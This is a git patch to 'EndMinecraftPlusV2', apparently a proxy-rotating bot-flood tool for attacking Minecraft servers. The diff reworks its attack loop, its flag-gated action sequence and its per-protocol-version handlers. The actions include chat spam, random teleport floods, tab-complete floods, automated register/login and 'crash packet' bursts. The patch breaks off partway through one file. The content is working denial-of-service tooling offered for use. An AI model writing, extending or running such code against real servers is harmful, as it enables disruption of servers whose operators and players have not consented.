From dcce3c9b858dc598679b78e6b26c244973d630a3 Mon Sep 17 00:00:00 2001 From: SerendipityR <48401197+SerendipityR-2022@users.noreply.github.com> Date: Tue, 30 Jan 2024 15:11:28 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=85=B3=E9=94=AE=E9=80=BB?= =?UTF-8?q?=E8=BE=91=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../AttackManager/AttackManager.java | 4 + .../EndMinecraftPlusV2.java | 4 +- Main/src/config.yml | 32 ++-- .../EndMinecraftPlusV2/Tools/ConfigUtil.java | 2 + .../EndMinecraftPlusV2/Tools/ProxyUtil.java | 23 +-- .../MultipleVersion/Bot/BotHandler.java | 3 +- .../MultipleVersion/Bot/BotManager.java | 139 ++++++++++++------ .../MultipleVersion/UniverseMethods.java | 3 +- .../VersionSupport/P1_12_2/BotHandler.java | 10 +- .../VersionSupport/P1_12_2/PacketHandler.java | 3 + .../VersionSupport/P1_13_X/BotHandler.java | 10 +- .../VersionSupport/P1_13_X/PacketHandler.java | 3 + .../VersionSupport/P1_14_X/BotHandler.java | 13 +- .../VersionSupport/P1_14_X/PacketHandler.java | 3 + .../VersionSupport/P1_15_X/BotHandler.java | 13 +- .../VersionSupport/P1_15_X/PacketHandler.java | 3 + .../VersionSupport/P1_16_X/BotHandler.java | 13 +- .../VersionSupport/P1_16_X/PacketHandler.java | 3 + .../VersionSupport/P1_17_X/BotHandler.java | 13 +- .../VersionSupport/P1_17_X/PacketHandler.java | 3 + .../VersionSupport/P1_18_X/BotHandler.java | 13 +- .../VersionSupport/P1_18_X/PacketHandler.java | 3 + .../VersionSupport/P1_19/BotHandler.java | 13 +- .../VersionSupport/P1_19/PacketHandler.java | 3 + .../P1_19_1_1_19_2/BotHandler.java | 13 +- .../P1_19_1_1_19_2/PacketHandler.java | 3 + .../P1_19_3_1_20_1/BotHandler.java | 13 +- .../P1_19_3_1_20_1/PacketHandler.java | 3 + .../VersionSupport/P1_20_X/BotHandler.java | 13 +- .../VersionSupport/P1_20_X/PacketHandler.java | 3 + .../VersionSupport/P1_7_X/BotHandler.java | 10 +- .../VersionSupport/P1_7_X/PacketHandler.java | 3 + .../VersionSupport/P1_8_X/BotHandler.java | 10 +- .../VersionSupport/P1_8_X/PacketHandler.java | 3 + .../P1_9_X_1_12_1/BotHandler.java | 10 +- .../P1_9_X_1_12_1/PacketHandler.java | 3 + 36 files changed, 289 insertions(+), 130 deletions(-) diff --git a/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java b/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java index 1fcacec..6b40a83 100644 --- a/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java +++ b/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java @@ -81,6 +81,10 @@ public class AttackManager { packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.PacketHandler(); } + if (ProtocolLibs.currentVersion > 404 && ConfigUtil.ForgeSupport) { + LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); + } + BotManager botManager = new BotManager(botHandler, packetHandler); if (ConfigUtil.AttackMethod.equals(5)) { diff --git a/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java index 58370e2..536160f 100644 --- a/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java +++ b/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java @@ -8,8 +8,8 @@ import cn.serendipityr.EndMinecraftPlusV2.AttackManager.AttackManager; import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs; public class EndMinecraftPlusV2 { - public static String ver = "2.0.0"; - public static Integer CfgVer = 7; + public static String ver = "2.0.1"; + public static Integer CfgVer = 8; public static void main(String[] args) { System.out.println("=======================-Designed by SerendipityR-======================="); diff --git a/Main/src/config.yml b/Main/src/config.yml index 918b4e5..1e157ef 100644 --- a/Main/src/config.yml +++ b/Main/src/config.yml @@ -3,7 +3,7 @@ # Designed by SerendipityR # ############################### -CfgVer: 7 +CfgVer: 8 AttackSettings: Address: "example.com" @@ -122,25 +122,27 @@ BotSettings: - "喵喵喵~ $rnd" - "喵喵~ $rnd" - "喵~ $rnd" + # 输出详细信息 + DetailMsg: false # 显示来自服务器的聊天信息 ShowServerMessages: true # 行动流程 # async - 异步执行任务 - # wait - 等待:<时间(ms)> - # chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)> - # randomTeleport - 随机传送:<次数>_<间隔(ms)> - # backTeleport - 回到重生点 - # register&Login - 执行注册/登录:_<是否使用已生成密码>_<自定义密码> - # crashPacket - 发送崩服数据包:<数量> - # tabAttack - 执行Tab补全:<数量>_<间隔(ms)> + # wait - 等待:<时间(ms)>_ + # chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)>_ + # randomTeleport - 随机传送:<次数>_<间隔(ms)>_ + # backTeleport - 回到重生点_ + # register&Login - 执行注册/登录:<是否使用已生成密码>_<自定义密码> - Flag:login + # crashPacket - 发送崩服数据包:<数量>_ + # tabAttack - 执行Tab补全:<数量>_<间隔(ms)>_ Actions: - - "register&Login:login_true_genshinImpact" - - "async|chatSpam:10_3000" - - "async|randomTeleport:25_100" - - "wait:3000" - - "async|backTeleport" - - "async|crashPacket:75" - - "async|tabAttack:25_75" + - "register&Login:true_genshinImpact" + - "async|chatSpam:10_3000_login" + - "async|randomTeleport:25_100_login" + - "wait:3000_login" + - "async|backTeleport:login" + - "async|crashPacket:75_login" + - "async|tabAttack:25_75_login" Proxy: # 代理获取方式: diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java index 98120e9..52e2e9b 100644 --- a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java +++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java @@ -51,6 +51,7 @@ public class ConfigUtil { public static List ClickVerifiesDetect; public static List CustomChat; public static List BotActions; + public static Boolean BotActionDetails; public static Integer ProxyGetType; public static Integer ProxyType; public static Integer ProxyUpdateTime; @@ -111,6 +112,7 @@ public class ConfigUtil { RejoinDelay = config.getLong("BotSettings.RejoinDelay"); ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect"); CustomChat = config.getStringList("BotSettings.CustomChat"); + BotActionDetails = config.getBoolean("BotSettings.DetailMsg"); ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages"); BotActions = config.getStringList("BotSettings.Actions"); ProxyGetType = config.getInt("Proxy.GetType"); diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java index b46efc8..15e8eed 100644 --- a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java +++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java @@ -5,13 +5,14 @@ import java.net.InetSocketAddress; import java.net.Proxy; import java.text.SimpleDateFormat; import java.util.Date; -import java.util.concurrent.ConcurrentHashMap; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; import java.util.regex.Matcher; public class ProxyUtil { public static Date runTime; - public static ConcurrentHashMap proxies = new ConcurrentHashMap<>(); - public static ConcurrentHashMap workingProxiesList = new ConcurrentHashMap<>(); + public static List proxies = new CopyOnWriteArrayList<>(); + public static List workingProxiesList = new CopyOnWriteArrayList<>(); public static void getProxies() { String getMethod; @@ -38,7 +39,7 @@ public class ProxyUtil { public static void getProxiesFromAPIs(boolean replace) { if (replace) { - proxies = new ConcurrentHashMap<>(); + proxies.clear(); } for (String url : ConfigUtil.ProxyAPIs) { @@ -47,8 +48,8 @@ public class ProxyUtil { while (matcher.find()) { String ip = matcher.group(); - if (!proxies.containsKey(ip)) { - proxies.put(ip, ""); + if (!proxies.contains(ip)) { + proxies.add(ip); } } } @@ -66,12 +67,12 @@ public class ProxyUtil { String tempString; if (replace) { - proxies = new ConcurrentHashMap<>(); + proxies.clear(); } while ((tempString = reader.readLine()) != null) { - if (!proxies.containsKey(tempString)) { - proxies.put(tempString, ""); + if (!proxies.contains(tempString)) { + proxies.add(tempString); } } @@ -114,13 +115,13 @@ public class ProxyUtil { File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt"); InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address(); - if (!workingProxiesList.containsKey(proxy)) { + if (!workingProxiesList.contains(proxy)) { try { FileWriter fileWriter = new FileWriter(workingProxies, true); String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/", ""); fileWriter.write(proxyAddress); fileWriter.close(); - workingProxiesList.put(proxy, ""); + workingProxiesList.add(proxy); } catch (IOException e) { LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null); } diff --git a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java index 14a4c17..e56a690 100644 --- a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java +++ b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java @@ -19,7 +19,8 @@ public interface BotHandler { boolean hasClientFlag(Object client, String flag); - void setClientFlag(Object client, String flag); + void setClientFlag(Object client, String flag, Object value); + Object getClientFlag(Object client, String flag); void setClientTimeout(Object client, long timeout); } diff --git a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java index 6965106..ee488a6 100644 --- a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java +++ b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java @@ -61,17 +61,22 @@ public class BotManager { break; case "randomTeleport": int count = Integer.parseInt(_action[1]); - LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "次", "BotAttack"); - packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true); + if (positionList.containsKey(client)) { + LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "次", "BotAttack"); + packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true); + + } break; case "backTeleport": - LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack"); - packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false); + if (positionList.containsKey(client)) { + LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack"); + packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false); + } break; case "register&Login": String pwd = _action[1]; LogUtil.doLog(0, "[DEBUG] [行动] 尝试执行注册/登录: " + pwd, "BotAttack"); - doRegisterLogin(client, userName, 0, false, pwd); + doRegisterLogin(client, userName, 0, pwd); break; case "crashPacket": int count_ = Integer.parseInt(_action[1]); @@ -105,14 +110,18 @@ public class BotManager { } }).start(); - while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) { - executorService_1.execute(new botCreateTask()); - OtherUtils.doSleep(ConfigUtil.ConnectDelay); - new Thread(() -> { + new Thread(() -> { + while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) { for (Object client : aliveList.keySet().toArray()) { executorService_2.execute(new botActivitiesTask(client, aliveList.get(client))); } - }).start(); + OtherUtils.doSleep(ConfigUtil.ConnectDelay); + } + }).start(); + + while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) { + OtherUtils.doSleep(ConfigUtil.ConnectDelay); + executorService_1.execute(new botCreateTask()); } shutdownAndAwaitTermination(executorService_2); shutdownAndAwaitTermination(executorService_1); @@ -172,6 +181,7 @@ public class BotManager { String disconnectMsg = botHandler.getClientDisconnectMsg(client); executorService_1.execute(new botRejoinTask(disconnectMsg, proxy, userName, BotManager.doubleAttack)); // 重连尝试 clientList.remove(client); + positionList.remove(client); } } @@ -186,6 +196,11 @@ public class BotManager { @Override public void run() { + if (botHandler.hasClientFlag(client, "activity") && botHandler.getClientFlag(client,"activity").equals(true)) { + return; + } + + botHandler.setClientFlag(client, "activity", true); for (String action : ConfigUtil.BotActions) { boolean async = "async".equals(action.split("\\|")[0]); @@ -198,65 +213,105 @@ public class BotManager { runBotAction(client, userName, action, _action); } } + botHandler.setClientFlag(client, "activity", false); } } private static void runBotAction(Object client, String userName, String action, String[] _action) { switch (_action[0]) { case "wait": - long waitTime = Long.parseLong(_action[1]); - LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack"); - OtherUtils.doSleep(waitTime); + String[] waitArgs = _action[1].split("_"); + long waitTime = Long.parseLong(waitArgs[0]); + String waitFlag = waitArgs[1]; + if (botHandler.hasClientFlag(client, waitFlag)) { + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack"); + } + OtherUtils.doSleep(waitTime); + } break; case "chatSpam": String[] spamArgs = _action[1].split("_"); int chatCount = Integer.parseInt(spamArgs[0]); long chatDelay = Long.parseLong(spamArgs[1]); - LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "次", "BotAttack"); - for (int i = 0; i < chatCount; i++) { - OtherUtils.doSleep(chatDelay); - packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName)); + String chatFlag = spamArgs[2]; + if (botHandler.hasClientFlag(client, chatFlag)) { + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "次", "BotAttack"); + } + for (int i = 0; i < chatCount; i++) { + OtherUtils.doSleep(chatDelay); + packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName)); + } } break; case "randomTeleport": String[] rndTpArgs = _action[1].split("_"); int rndTpCount = Integer.parseInt(rndTpArgs[0]); long rndTpDelay = Integer.parseInt(rndTpArgs[1]); - LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "次", "BotAttack"); - for (int i = 0; i < rndTpCount; i++) { - packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true); - OtherUtils.doSleep(rndTpDelay); + String rndTpFlag = rndTpArgs[2]; + if (botHandler.hasClientFlag(client, rndTpFlag) && positionList.containsKey(client)) { + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "次", "BotAttack"); + } + for (int i = 0; i < rndTpCount; i++) { + packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true); + OtherUtils.doSleep(rndTpDelay); + } } break; case "backTeleport": - LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack"); - packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false); + String[] bTpArgs = _action[1].split("_"); + String bTpFlag = bTpArgs[0]; + if (botHandler.hasClientFlag(client, bTpFlag)) { + if (positionList.containsKey(client)) { + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack"); + } + packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false); + } + } break; case "register&Login": String[] loginArgs = _action[1].split("_"); - String flag = loginArgs[0]; - boolean randomPwd = Boolean.parseBoolean(loginArgs[1]); - String pwd = loginArgs[2]; - if (!botHandler.hasClientFlag(client, flag)) { - LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack"); - doRegisterLogin(client, userName, 0, randomPwd, pwd); - botHandler.setClientFlag(client, flag); + boolean randomPwd = Boolean.parseBoolean(loginArgs[0]); + String pwd = loginArgs[1]; + if (!botHandler.hasClientFlag(client, "login")) { + if (randomPwd) { + pwd = DataUtil.botRegPasswordsMap.get(userName); + } + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack"); + } + doRegisterLogin(client, userName, 0, pwd); } break; case "crashPacket": - int packetCount = Integer.parseInt(_action[1]); - LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "个", "BotAttack"); - sendCrashPacket(client, packetCount); + String[] crashArgs = _action[1].split("_"); + int packetCount = Integer.parseInt(crashArgs[0]); + String crashFlag = crashArgs[1]; + if (botHandler.hasClientFlag(client, crashFlag)) { + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "个", "BotAttack"); + } + sendCrashPacket(client, packetCount); + } break; case "tabAttack": String[] tabArgs = _action[1].split("_"); int tabCount = Integer.parseInt(tabArgs[0]); long tabDelay = Long.parseLong(tabArgs[1]); - LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "个", "BotAttack"); - for (int i = 0; i < tabCount; i++) { - packetHandler.sendTabCompletePacket(client, "/"); - OtherUtils.doSleep(tabDelay); + String tabFlag = tabArgs[2]; + if (botHandler.hasClientFlag(client, tabFlag)) { + if (ConfigUtil.BotActionDetails) { + LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "个", "BotAttack"); + } + for (int i = 0; i < tabCount; i++) { + packetHandler.sendTabCompletePacket(client, "/"); + OtherUtils.doSleep(tabDelay); + } } + break; default: LogUtil.doLog(0, "[" + userName + "] [行动] 无法识别的action语句: " + action, "BotAttack"); } @@ -320,17 +375,13 @@ public class BotManager { } } - public static void doRegisterLogin(Object client, String userName, long delay, boolean randomPassword, String password) { - botHandler.setClientFlag(client, "login"); + public static void doRegisterLogin(Object client, String userName, long delay, String password) { + botHandler.setClientFlag(client, "login", ""); new Thread(() -> { for (String text : ConfigUtil.RegisterCommands) { OtherUtils.doSleep(delay); String cmd = text; - if (randomPassword) { - cmd = cmd.replace("$pwd", DataUtil.botRegPasswordsMap.get(userName)); - } else { - cmd = cmd.replace("$pwd", password); - } + cmd = cmd.replace("$pwd", password); cmd = cmd.replace("$userName", userName); cmd = cmd.replace("$rnd", OtherUtils.getRandomString(4, 6)); LogUtil.doLog(0, "[" + userName + "] 注册信息已发送。", "BotAttack"); diff --git a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/UniverseMethods.java b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/UniverseMethods.java index 1510938..687f5f5 100644 --- a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/UniverseMethods.java +++ b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/UniverseMethods.java @@ -11,7 +11,6 @@ import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Proxy; import java.net.Socket; -import java.util.ArrayList; import java.util.Random; public class UniverseMethods { @@ -46,7 +45,7 @@ public class UniverseMethods { public static Proxy getProxy(Proxy.Type proxyType) { int size = ProxyUtil.proxies.size(); - String p = new ArrayList<>(ProxyUtil.proxies.keySet()).get(BotManager.clientList.size() % size); + String p = ProxyUtil.proxies.get(BotManager.clientList.size() % size); String[] _p = p.split(":"); return new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); } diff --git a/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/BotHandler.java b/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/BotHandler.java index f5af190..b08017a 100644 --- a/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/BotHandler.java +++ b/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/BotHandler.java @@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/PacketHandler.java b/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/PacketHandler.java index 1f4569d..9e01928 100644 --- a/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/PacketHandler.java +++ b/VersionSupport-P1_12_2/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_12_2/PacketHandler.java @@ -181,6 +181,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/BotHandler.java b/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/BotHandler.java index b7430ee..313231e 100644 --- a/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/BotHandler.java +++ b/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/BotHandler.java @@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/PacketHandler.java b/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/PacketHandler.java index cc6a047..ece06c3 100644 --- a/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/PacketHandler.java +++ b/VersionSupport-P1_13_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_13_X/PacketHandler.java @@ -171,6 +171,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/BotHandler.java b/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/BotHandler.java index 827c2fc..6d85cc8 100644 --- a/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/BotHandler.java +++ b/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/BotHandler.java @@ -27,9 +27,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { Client client = (Client) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.getSession().addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { @@ -167,9 +164,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/PacketHandler.java b/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/PacketHandler.java index 8399a3e..9a17079 100644 --- a/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/PacketHandler.java +++ b/VersionSupport-P1_14_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_14_X/PacketHandler.java @@ -164,6 +164,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/BotHandler.java b/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/BotHandler.java index c58c9ba..fe2d367 100644 --- a/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/BotHandler.java +++ b/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/BotHandler.java @@ -29,9 +29,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe public void connect(Object c, Proxy proxy) { Client client = (Client) c; String userName = BotManager.clientList.get(c); - if (ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport"); - } client.getSession().addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { @@ -177,9 +174,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe } @Override - public void setClientFlag(Object client, String flag) { + public void setClientFlag(Object client, String flag, Object value) { Client c = (Client) client; - c.getSession().setFlag(flag, ""); + c.getSession().setFlag(flag, value); + } + + @Override + public Object getClientFlag(Object client, String flag) { + Client c = (Client) client; + return c.getSession().getFlag(flag); } @Override diff --git a/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/PacketHandler.java b/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/PacketHandler.java index f28778c..85d01c4 100644 --- a/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/PacketHandler.java +++ b/VersionSupport-P1_15_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_15_X/PacketHandler.java @@ -165,6 +165,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { Session session = ((Client) client).getSession(); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + if (packet == null) { + return; + } double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); diff --git a/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/BotHandler.java b/VersionSupport-P1_16_X/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/VersionSupport/P1_16_X/BotHandler.java index 78df527..bad1be6 100644 --- 